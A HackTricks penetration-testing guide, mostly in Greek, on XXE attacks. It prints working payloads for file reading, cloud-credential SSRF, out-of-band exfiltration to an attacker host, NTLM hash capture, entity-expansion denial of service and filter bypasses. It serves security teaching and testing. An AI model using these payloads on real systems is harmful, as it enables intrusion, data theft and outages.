XXE - XEE - XML External Entity

Support HackTricks

XML Basics

Το XML είναι μια γλώσσα σήμανσης σχεδιασμένη για αποθήκευση και μεταφορά δεδομένων, με μια ευέλικτη δομή που επιτρέπει τη χρήση περιγραφικών ετικετών. Διαφέρει από το HTML καθώς δεν περιορίζεται σε ένα σύνολο προκαθορισμένων ετικετών. Η σημασία του XML έχει μειωθεί με την άνοδο του JSON, παρά τον αρχικό του ρόλο στην τεχνολογία AJAX.

  • Αναπαράσταση Δεδομένων μέσω Οντοτήτων: Οι οντότητες στο XML επιτρέπουν την αναπαράσταση δεδομένων, συμπεριλαμβανομένων ειδικών χαρακτήρων όπως &lt; και &gt;, που αντιστοιχούν σε < και > για να αποφευχθεί η σύγκρουση με το σύστημα ετικετών του XML.

  • Ορισμός Στοιχείων XML: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς θα πρέπει να δομούνται τα στοιχεία και τι περιεχόμενο μπορεί να περιέχουν, από οποιοδήποτε τύπο περιεχομένου έως συγκεκριμένα παιδικά στοιχεία.

  • Ορισμός Τύπου Εγγράφου (DTD): Τα DTD είναι κρίσιμα στο XML για τον ορισμό της δομής του εγγράφου και των τύπων δεδομένων που μπορεί να περιέχει. Μπορούν να είναι εσωτερικά, εξωτερικά ή ένας συνδυασμός, καθοδηγώντας το πώς μορφοποιούνται και επικυρώνονται τα έγγραφα.

  • Προσαρμοσμένες και Εξωτερικές Οντότητες: Το XML υποστηρίζει τη δημιουργία προσαρμοσμένων οντοτήτων εντός ενός DTD για ευέλικτη αναπαράσταση δεδομένων. Οι εξωτερικές οντότητες, που ορίζονται με μια διεύθυνση URL, εγείρουν ανησυχίες ασφαλείας, ιδιαίτερα στο πλαίσιο επιθέσεων XML External Entity (XXE), οι οποίες εκμεταλλεύονται τον τρόπο που οι αναλυτές XML χειρίζονται εξωτερικές πηγές δεδομένων: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>

  • Ανίχνευση XXE με Οντότητες Παραμέτρων: Για την ανίχνευση ευπαθειών XXE, ειδικά όταν οι συμβατικές μέθοδοι αποτυγχάνουν λόγω μέτρων ασφαλείας του αναλυτή, μπορούν να χρησιμοποιηθούν οντότητες παραμέτρων XML. Αυτές οι οντότητες επιτρέπουν τεχνικές ανίχνευσης εκτός ζώνης, όπως η ενεργοποίηση αναζητήσεων DNS ή HTTP αιτημάτων σε έναν ελεγχόμενο τομέα, για να επιβεβαιωθεί η ευπάθεια.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Main attacks

Οι περισσότερες από αυτές τις επιθέσεις δοκιμάστηκαν χρησιμοποιώντας τα καταπληκτικά εργαστήρια XEE του Portswiggers: https://portswigger.net/web-security/xxe

New Entity test

Σε αυτή την επίθεση θα δοκιμάσω αν μια απλή νέα δήλωση ΟΝΤΟΤΗΤΑΣ λειτουργεί.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Διαβάστε αρχείο

Ας προσπαθήσουμε να διαβάσουμε το /etc/passwd με διάφορους τρόπους. Για Windows μπορείτε να προσπαθήσετε να διαβάσετε: C:\windows\system32\drivers\etc\hosts

Σε αυτή την πρώτη περίπτωση, παρατηρήστε ότι το SYSTEM "**file:///**etc/passwd" θα λειτουργήσει επίσης.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου αν ο διακομιστής ιστού χρησιμοποιεί PHP (Όχι η περίπτωση των εργαστηρίων Portswigger)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

Σε αυτή την τρίτη περίπτωση παρατηρήστε ότι δηλώνουμε το Element stockCheck ως ANY

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Κατάλογος καταχώρησης

Σε εφαρμογές βασισμένες σε Java, μπορεί να είναι δυνατό να καταχωρήσετε τα περιεχόμενα ενός καταλόγου μέσω XXE με ένα payload όπως (απλώς ζητώντας τον κατάλογο αντί για το αρχείο):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

Ένα XXE θα μπορούσε να χρησιμοποιηθεί για να καταχραστεί μια SSRF μέσα σε ένα cloud

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

Χρησιμοποιώντας την προηγουμένως σχολιασμένη τεχνική μπορείτε να κάνετε τον διακομιστή να έχει πρόσβαση σε έναν διακομιστή που ελέγχετε για να δείξετε ότι είναι ευάλωτος. Αλλά, αν αυτό δεν λειτουργεί, ίσως είναι επειδή οι XML οντότητες δεν επιτρέπονται, σε αυτή την περίπτωση θα μπορούσατε να δοκιμάσετε να χρησιμοποιήσετε XML παραμετρικές οντότητες:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Blind" SSRF - Εξαγωγή δεδομένων εκτός ζώνης

Σε αυτή την περίπτωση θα κάνουμε τον διακομιστή να φορτώσει μια νέα DTD με ένα κακόβουλο payload που θα στείλει το περιεχόμενο ενός αρχείου μέσω HTTP αιτήματος (για αρχεία πολλαπλών γραμμών μπορείτε να προσπαθήσετε να το εξαγάγετε μέσω _ftp://_ χρησιμοποιώντας αυτόν τον βασικό διακομιστή για παράδειγμα xxe-ftp-server.rb). Αυτή η εξήγηση βασίζεται σε Portswiggers lab εδώ.

Στην δεδομένη κακόβουλη DTD, μια σειρά βημάτων εκτελούνται για να εξαγάγουν δεδομένα:

Παράδειγμα Κακόβουλης DTD:

Η δομή είναι ως εξής:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Τα βήματα που εκτελούνται από αυτό το DTD περιλαμβάνουν:

  1. Ορισμός Οντοτήτων Παραμέτρων:

  • Μια οντότητα παραμέτρου XML, %file, δημιουργείται, διαβάζοντας το περιεχόμενο του αρχείου /etc/hostname.

  • Μια άλλη οντότητα παραμέτρου XML, %eval, ορίζεται. Δημιουργεί δυναμικά μια νέα οντότητα παραμέτρου XML, %exfiltrate. Η οντότητα %exfiltrate ρυθμίζεται ώστε να κάνει ένα HTTP αίτημα στον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας %file μέσα στη συμβολοσειρά ερωτήματος της διεύθυνσης URL.

  1. Εκτέλεση Οντοτήτων:

  • Η οντότητα %eval χρησιμοποιείται, οδηγώντας στην εκτέλεση της δυναμικής δήλωσης της οντότητας %exfiltrate.

  • Στη συνέχεια, η οντότητα %exfiltrate χρησιμοποιείται, ενεργοποιώντας ένα HTTP αίτημα στη συγκεκριμένη διεύθυνση URL με το περιεχόμενο του αρχείου.

Ο επιτιθέμενος φιλοξενεί αυτό το κακόβουλο DTD σε έναν διακομιστή υπό τον έλεγχό του, συνήθως σε μια διεύθυνση URL όπως http://web-attacker.com/malicious.dtd.

XXE Payload: Για να εκμεταλλευτεί μια ευάλωτη εφαρμογή, ο επιτιθέμενος στέλνει ένα XXE payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

This payload defines an XML parameter entity %xxe and incorporates it within the DTD. When processed by an XML parser, this payload fetches the external DTD from the attacker's server. The parser then interprets the DTD inline, executing the steps outlined in the malicious DTD and leading to the exfiltration of the /etc/hostname file to the attacker's server.

Error Based(External DTD)

Σε αυτή την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει μια κακόβουλη DTD που θα δείξει το περιεχόμενο ενός αρχείου μέσα σε ένα μήνυμα σφάλματος (αυτό είναι έγκυρο μόνο αν μπορείτε να δείτε τα μηνύματα σφάλματος). Παράδειγμα από εδώ.

An XML parsing error message, revealing the contents of the /etc/passwd file, can be triggered using a malicious external Document Type Definition (DTD). This is accomplished through the following steps:

  1. Ένα XML parameter entity με όνομα file ορίζεται, το οποίο περιέχει το περιεχόμενο του αρχείου /etc/passwd.

  2. Ένα XML parameter entity με όνομα eval ορίζεται, ενσωματώνοντας μια δυναμική δήλωση για ένα άλλο XML parameter entity με όνομα error. Αυτό το error entity, όταν αξιολογηθεί, προσπαθεί να φορτώσει ένα ανύπαρκτο αρχείο, ενσωματώνοντας το περιεχόμενο του file entity ως όνομά του.

  3. Το eval entity καλείται, οδηγώντας στη δυναμική δήλωση του error entity.

  4. Η κλήση του error entity έχει ως αποτέλεσμα μια προσπάθεια φόρτωσης ενός ανύπαρκτου αρχείου, παράγοντας ένα μήνυμα σφάλματος που περιλαμβάνει το περιεχόμενο του αρχείου /etc/passwd ως μέρος του ονόματος του αρχείου.

The malicious external DTD can be invoked with the following XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Upon execution, the web server's response should include an error message displaying the contents of the /etc/passwd file.

Παρακαλώ σημειώστε ότι η εξωτερική DTD μας επιτρέπει να συμπεριλάβουμε μία οντότητα μέσα στη δεύτερη (eval), αλλά αυτό απαγορεύεται στην εσωτερική DTD. Επομένως, δεν μπορείτε να προκαλέσετε ένα σφάλμα χωρίς να χρησιμοποιήσετε μια εξωτερική DTD (συνήθως).

Error Based (system DTD)

So what about blind XXE vulnerabilities when out-of-band interactions are blocked (external connections aren't available)?

A loophole in the XML language specification can expose sensitive data through error messages when a document's DTD blends internal and external declarations. This issue allows for the internal redefinition of entities declared externally, facilitating the execution of error-based XXE attacks. Such attacks exploit the redefinition of an XML parameter entity, originally declared in an external DTD, from within an internal DTD. When out-of-band connections are blocked by the server, attackers must rely on local DTD files to conduct the attack, aiming to induce a parsing error to reveal sensitive information.

Consider a scenario where the server's filesystem contains a DTD file at /usr/local/app/schema.dtd, defining an entity named custom_entity. An attacker can induce an XML parsing error revealing the contents of the /etc/passwd file by submitting a hybrid DTD as follows:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

The outlined steps are executed by this DTD:

  • Ο ορισμός μιας XML παραμέτρου οντότητας που ονομάζεται local_dtd περιλαμβάνει το εξωτερικό αρχείο DTD που βρίσκεται στο σύστημα αρχείων του διακομιστή.

  • Μια επαναορισμός συμβαίνει για την XML παράμετρο οντότητας custom_entity, που αρχικά ορίστηκε στο εξωτερικό DTD, για να περιλάβει μια εκμετάλλευση XXE βασισμένη σε σφάλματα. Αυτή η επαναορισμός έχει σχεδιαστεί για να προκαλέσει ένα σφάλμα ανάλυσης, εκθέτοντας το περιεχόμενο του αρχείου /etc/passwd.

  • Χρησιμοποιώντας την οντότητα local_dtd, το εξωτερικό DTD ενεργοποιείται, περιλαμβάνοντας την νεοκαθορισμένη custom_entity. Αυτή η ακολουθία ενεργειών προκαλεί την εκπομπή του μηνύματος σφάλματος που στοχεύει η εκμετάλλευση.

Real world example: Τα συστήματα που χρησιμοποιούν το περιβάλλον επιφάνειας εργασίας GNOME συχνά έχουν ένα DTD στο /usr/share/yelp/dtd/docbookx.dtd που περιέχει μια οντότητα που ονομάζεται ISOamso

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Καθώς αυτή η τεχνική χρησιμοποιεί ένα εσωτερικό DTD, πρέπει πρώτα να βρείτε ένα έγκυρο. Μπορείτε να το κάνετε αυτό εγκαθιστώντας το ίδιο Λειτουργικό Σύστημα / Λογισμικό που χρησιμοποιεί ο διακομιστής και αναζητώντας μερικά προεπιλεγμένα DTDs, ή λαμβάνοντας μια λίστα με προεπιλεγμένα DTDs μέσα σε συστήματα και ελέγχοντας αν κάποιο από αυτά υπάρχει:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Για περισσότερες πληροφορίες ελέγξτε https://portswigger.net/web-security/xxe/blind

Εύρεση DTDs μέσα στο σύστημα

Στο παρακάτω καταπληκτικό github repo μπορείτε να βρείτε διαδρομές DTDs που μπορεί να υπάρχουν στο σύστημα:

Επιπλέον, αν έχετε την εικόνα Docker του συστήματος-θύματος, μπορείτε να χρησιμοποιήσετε το εργαλείο του ίδιου repo για να σκανάρετε την εικόνα και να βρείτε τη διαδρομή των DTDs που υπάρχουν μέσα στο σύστημα. Διαβάστε το Readme του github για να μάθετε πώς.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE via Office Open XML Parsers

Για μια πιο λεπτομερή εξήγηση αυτής της επίθεσης, ελέγξτε τη δεύτερη ενότητα του αυτού του καταπληκτικού άρθρου από την Detectify.

Η δυνατότητα να ανεβάζουν έγγραφα Microsoft Office προσφέρεται από πολλές διαδικτυακές εφαρμογές, οι οποίες στη συνέχεια προχωρούν στην εξαγωγή ορισμένων λεπτομερειών από αυτά τα έγγραφα. Για παράδειγμα, μια διαδικτυακή εφαρμογή μπορεί να επιτρέπει στους χρήστες να εισάγουν δεδομένα ανεβάζοντας ένα υπολογιστικό φύλλο σε μορφή XLSX. Για να μπορέσει ο αναλυτής να εξαγάγει τα δεδομένα από το υπολογιστικό φύλλο, θα χρειαστεί αναπόφευκτα να αναλύσει τουλάχιστον ένα XML αρχείο.

Για να δοκιμάσετε αυτήν την ευπάθεια, είναι απαραίτητο να δημιουργήσετε ένα αρχείο Microsoft Office που περιέχει ένα XXE payload. Το πρώτο βήμα είναι να δημιουργήσετε έναν κενό φάκελο στον οποίο μπορεί να αποσυμπιεστεί το έγγραφο.

Αφού το έγγραφο έχει αποσυμπιεστεί, το XML αρχείο που βρίσκεται στο ./unzipped/word/document.xml θα πρέπει να ανοιχτεί και να επεξεργαστεί σε έναν προτιμώμενο επεξεργαστή κειμένου (όπως το vim). Το XML θα πρέπει να τροποποιηθεί ώστε να περιλαμβάνει το επιθυμητό XXE payload, συχνά ξεκινώντας με ένα HTTP αίτημα.

Οι τροποποιημένες γραμμές XML θα πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικαταστήσετε τη διεύθυνση URL με μια παρακολουθήσιμη διεύθυνση URL για τα αιτήματα.

Τέλος, το αρχείο μπορεί να συμπιεστεί για να δημιουργηθεί το κακόβουλο poc.docx αρχείο. Από τον προηγουμένως δημιουργημένο φάκελο "unzipped", θα πρέπει να εκτελεστεί η παρακάτω εντολή:

Τώρα, το δημιουργημένο αρχείο μπορεί να ανέβει στην ενδεχομένως ευάλωτη διαδικτυακή εφαρμογή, και μπορεί κανείς να ελπίζει ότι θα εμφανιστεί ένα αίτημα στα αρχεία καταγραφής του Burp Collaborator.

Jar: protocol

Το jar πρωτόκολλο είναι προσβάσιμο αποκλειστικά εντός Java εφαρμογών. Είναι σχεδιασμένο για να επιτρέπει την πρόσβαση σε αρχεία εντός ενός PKZIP αρχείου (π.χ., .zip, .jar, κ.λπ.), εξυπηρετώντας τόσο τοπικά όσο και απομακρυσμένα αρχεία.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

Για να μπορέσετε να έχετε πρόσβαση σε αρχεία μέσα σε αρχεία PKZIP είναι πολύ χρήσιμο για την κατάχρηση XXE μέσω αρχείων DTD συστήματος. Ελέγξτε αυτή την ενότητα για να μάθετε πώς να καταχραστείτε τα αρχεία DTD συστήματος.

Η διαδικασία πίσω από την πρόσβαση σε ένα αρχείο μέσα σε ένα αρχείο PKZIP μέσω του πρωτοκόλλου jar περιλαμβάνει αρκετά βήματα:

  1. Γίνεται ένα HTTP αίτημα για να κατεβάσετε το zip αρχείο από μια καθορισμένη τοποθεσία, όπως https://download.website.com/archive.zip.

  2. Η HTTP απάντηση που περιέχει το αρχείο αποθηκεύεται προσωρινά στο σύστημα, συνήθως σε μια τοποθεσία όπως /tmp/....

  3. Το αρχείο εξάγεται για να αποκτήσετε πρόσβαση στα περιεχόμενά του.

  4. Το συγκεκριμένο αρχείο μέσα στο αρχείο, file.zip, διαβάζεται.

  5. Μετά τη διαδικασία, οποιαδήποτε προσωρινά αρχεία που δημιουργήθηκαν κατά τη διάρκεια αυτής της διαδικασίας διαγράφονται.

Μια ενδιαφέρουσα τεχνική για να διακόψετε αυτή τη διαδικασία στο δεύτερο βήμα περιλαμβάνει τη διατήρηση της σύνδεσης του διακομιστή ανοιχτής επ' αόριστον κατά την εξυπηρέτηση του αρχείου αρχείου. Εργαλεία διαθέσιμα σε αυτό το αποθετήριο μπορούν να χρησιμοποιηθούν για αυτό το σκοπό, συμπεριλαμβανομένου ενός διακομιστή Python (slow_http_server.py) και ενός διακομιστή Java (slowserver.jar).

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

Η εγγραφή αρχείων σε έναν προσωρινό φάκελο μπορεί να βοηθήσει στην κλιμάκωση μιας άλλης ευπάθειας που περιλαμβάνει διαδρομή διαδρομής (όπως το local file include, template injection, XSLT RCE, deserialization, κ.λπ.).

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Επίθεση Δισεκατομμυρίων Γελάδων

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Επίθεση Yaml

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Quadratic Blowup Attack

Λήψη NTML

Σε Windows hosts είναι δυνατή η λήψη του NTML hash του χρήστη του web server ρυθμίζοντας έναν handler responder.py:

Responder.py -I eth0 -v

και στέλνοντας το παρακάτω αίτημα

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Then you can try to crack the hash using hashcat

Κρυφές Επιφάνειες XXE

XInclude

Όταν ενσωματώνετε δεδομένα πελάτη σε έγγραφα XML πλευράς διακομιστή, όπως αυτά σε αιτήματα SOAP backend, ο άμεσος έλεγχος της δομής XML είναι συχνά περιορισμένος, εμποδίζοντας τις παραδοσιακές επιθέσεις XXE λόγω περιορισμών στην τροποποίηση του στοιχείου DOCTYPE. Ωστόσο, μια επίθεση XInclude παρέχει μια λύση επιτρέποντας την εισαγωγή εξωτερικών οντοτήτων μέσα σε οποιοδήποτε στοιχείο δεδομένων του εγγράφου XML. Αυτή η μέθοδος είναι αποτελεσματική ακόμη και όταν μόνο ένα μέρος των δεδομένων μέσα σε ένα έγγραφο XML που έχει παραχθεί από διακομιστή μπορεί να ελεγχθεί.

Για να εκτελέσετε μια επίθεση XInclude, πρέπει να δηλωθεί ο χώρος ονομάτων XInclude, και η διαδρομή αρχείου για την προοριζόμενη εξωτερική οντότητα πρέπει να καθοριστεί. Παρακάτω είναι ένα συνοπτικό παράδειγμα του πώς μπορεί να διαμορφωθεί μια τέτοια επίθεση:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Check https://portswigger.net/web-security/xxe for more info!

SVG - Αποστολή Αρχείων

Τα αρχεία που ανεβάζουν οι χρήστες σε ορισμένες εφαρμογές, τα οποία στη συνέχεια επεξεργάζονται στον διακομιστή, μπορούν να εκμεταλλευτούν ευπάθειες στον τρόπο που διαχειρίζονται τα XML ή τα αρχεία που περιέχουν XML. Κοινές μορφές αρχείων όπως έγγραφα γραφείου (DOCX) και εικόνες (SVG) βασίζονται σε XML.

Όταν οι χρήστες ανεβάζουν εικόνες, αυτές οι εικόνες επεξεργάζονται ή επικυρώνονται από τον διακομιστή. Ακόμη και για εφαρμογές που αναμένουν μορφές όπως PNG ή JPEG, η βιβλιοθήκη επεξεργασίας εικόνας του διακομιστή μπορεί επίσης να υποστηρίζει εικόνες SVG. Το SVG, ως μορφή βασισμένη σε XML, μπορεί να εκμεταλλευτεί από επιτιθέμενους για να υποβάλουν κακόβουλες εικόνες SVG, εκθέτοντας έτσι τον διακομιστή σε ευπάθειες XXE (XML External Entity).

Ένα παράδειγμα μιας τέτοιας εκμετάλλευσης φαίνεται παρακάτω, όπου μια κακόβουλη εικόνα SVG προσπαθεί να διαβάσει αρχεία συστήματος:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Ένας άλλος τρόπος περιλαμβάνει την προσπάθεια εκτέλεσης εντολών μέσω του PHP "expect" wrapper:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

Σε και τις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για να εκκινήσει επιθέσεις που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για ισχυρή επικύρωση εισόδου και μέτρα ασφαλείας.

Δείτε https://portswigger.net/web-security/xxe για περισσότερες πληροφορίες!

Σημειώστε ότι η πρώτη γραμμή του αναγνωσμένου αρχείου ή του αποτελέσματος της εκτέλεσης θα εμφανιστεί ΜΕΣΑ στην δημιουργημένη εικόνα. Έτσι, πρέπει να μπορείτε να έχετε πρόσβαση στην εικόνα που έχει δημιουργήσει το SVG.

PDF - Μεταφόρτωση αρχείου

Διαβάστε την παρακάτω ανάρτηση για να μάθετε πώς να εκμεταλλευτείτε μια XXE ανεβάζοντας ένα αρχείο PDF:

PDF Upload - XXE and CORS bypass

Content-Type: Από x-www-urlencoded σε XML

Εάν ένα αίτημα POST δέχεται τα δεδομένα σε μορφή XML, μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια XXE σε αυτό το αίτημα. Για παράδειγμα, εάν ένα κανονικό αίτημα περιέχει τα εξής:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Τότε μπορεί να είστε σε θέση να υποβάλετε το ακόλουθο αίτημα, με το ίδιο αποτέλεσμα:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: Από JSON σε XEE

Για να αλλάξετε το αίτημα, μπορείτε να χρησιμοποιήσετε μια επέκταση του Burp που ονομάζεται “Content Type Converter“. Εδώ μπορείτε να βρείτε αυτό το παράδειγμα:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Ένα άλλο παράδειγμα μπορεί να βρεθεί εδώ.

WAF & Παράκαμψη Προστασιών

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Αυτό λειτουργεί μόνο αν ο διακομιστής XML αποδέχεται το data:// πρωτόκολλο.

UTF-7

Μπορείτε να χρησιμοποιήσετε την ["Συνταγή Κωδικοποίησης" του cyberchef εδώ ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) για να μετατρέψετε σε UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

File:/ Protocol Bypass

Αν ο ιστότοπος χρησιμοποιεί PHP, αντί να χρησιμοποιήσετε file:/ μπορείτε να χρησιμοποιήσετε php wrappersphp://filter/convert.base64-encode/resource= για να πρόσβαση σε εσωτερικά αρχεία.

Αν ο ιστότοπος χρησιμοποιεί Java μπορείτε να ελέγξετε το jar: protocol.

HTML Entities

Trick from https://github.com/Ambrotd/XXE-Notes Μπορείτε να δημιουργήσετε μια οντότητα μέσα σε μια οντότητα κωδικοποιώντας την με html entities και στη συνέχεια να την καλέσετε για να φορτώσετε ένα dtd. Σημειώστε ότι οι HTML Entities που χρησιμοποιούνται πρέπει να είναι αριθμητικές (όπως [σε αυτό το παράδειγμα](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

